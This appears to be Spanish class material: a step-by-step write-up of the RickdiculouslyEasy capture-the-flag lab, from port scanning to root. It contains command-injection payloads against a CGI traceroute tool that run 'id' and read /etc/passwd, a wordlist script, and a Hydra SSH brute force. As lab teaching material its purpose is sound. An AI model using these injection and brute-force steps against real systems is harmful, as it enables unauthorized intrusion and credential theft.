Análisis Práctico de Pentesting

Caso de Estudio: RickdiculouslyEasy

Objetivos de la Clase

  • Aplicar conceptos aprendidos en un escenario real
  • Practicar metodología de pentesting
  • Entender el proceso de enumeración
  • Identificar y explotar vulnerabilidades
  • Realizar escalación de privilegios
  • Documentar hallazgos

Fase 1: Reconocimiento Inicial

Escaneo de Puertos

# Escaneo básico de puertos
nmap -p- -sV 192.168.x.x

# Puertos identificados:
# - 21 (FTP)
# - 22 (SSH)
# - 80 (HTTP)
# - 9090 (HTTP)
# - 13337 (Desconocido)
# - 22222 (SSH)
# - 60000 (?)

Análisis Inicial de Servicios

  1. FTP (Puerto 21):
ftp 192.168.x.x
# Usuario: anonymous
# Password: [vacío]
  1. Web (Puerto 80):
dirb http://192.168.x.x
# Directorios encontrados:
# - /passwords/
# - /robots.txt

Fase 2: Enumeración Web

Directorios Importantes

# Revisar /passwords/
curl http://192.168.x.x/passwords/
# - FLAG.txt
# - passwords.html

# Revisar robots.txt
curl http://192.168.x.x/robots.txt
# - /cgi-bin/
# - Traceroute tool

Command Injection en Traceroute

# Prueba básica
http://192.168.x.x/cgi-bin/tracertool.cgi?ip=127.0.0.1

# Inyección de comandos
http://192.168.x.x/cgi-bin/tracertool.cgi?ip=127.0.0.1;id

# Lectura de archivos
http://192.168.x.x/cgi-bin/tracertool.cgi?ip=127.0.0.1;more+/etc/passwd

Fase 3: Análisis de Credenciales

Contraseñas Encontradas

  1. En código fuente: winter
  2. En /etc/passwd: usuario Summer
  3. Conexión entre usuarios:
# Login SSH
ssh Summer@192.168.x.x -p 22222
Password: winter

Búsqueda de Archivos Sensibles

# Como usuario Summer
find / -type f -name "*.txt" 2>/dev/null
find / -type f -name "*.zip" 2>/dev/null
find / -name "*.jpg" 2>/dev/null

# Archivos importantes encontrados:
# - Safe_Password.jpg
# - journal.txt.zip
# - FLAG.txt en varios lugares

Fase 4: Análisis de Archivos

Extracción de Información

# Examinar imagen
strings Safe_Password.jpg
# Password encontrado: Meeseek

# Descomprimir archivo
unzip journal.txt.zip
Password: Meeseek

# Leer contenido
cat journal.txt
# Número encontrado: 131333

Fase 5: Explotación del Binario Safe

Exploración del directorio RickSanchez

cd /home/RickSanchez
ls -la
# Encontramos: RICKS_SAFE

cd RICKS_SAFE
ls -la
# Archivo safe con permisos de ejecución

Uso del Binario Safe

  1. Ejecutar con código encontrado:
./safe 131333
# Pistas obtenidas:
# - 1 mayúscula
# - 1 número
# - Palabra de antigua banda
  1. Investigación:
# Banda identificada: The Flesh Curtains
# Necesitamos crear wordlist

Fase 6: Generación de Wordlist

Script Python

#!/usr/bin/python3
from string import ascii_uppercase as au, digits as ds

# Palabras de la banda
band_name = ["Flesh", "Curtains"]

# Generar combinaciones
for l in au:
    for d in ds:
        for n in band_name:
            with open("wordlist.txt", "a") as f:
                f.write(f"{l}{d}{n}\n")

Fase 7: Ataque de Fuerza Bruta

Uso de Hydra

hydra -l RickSanchez -P wordlist.txt 192.168.x.x ssh -s 22222
# Credenciales encontradas:
# Usuario: RickSanchez
# Password: P7Curtains

Fase 8: Escalación Final de Privilegios

Acceso como RickSanchez

ssh RickSanchez@192.168.x.x -p 22222
Password: P7Curtains

# Verificar privilegios
sudo -l
# Usuario puede ejecutar sudo sin password

Obtención de Root

# Escalar a root
sudo su -
# ¡Acceso root conseguido!

# Verificar
id
# uid=0(root) gid=0(root)

¿Preguntas?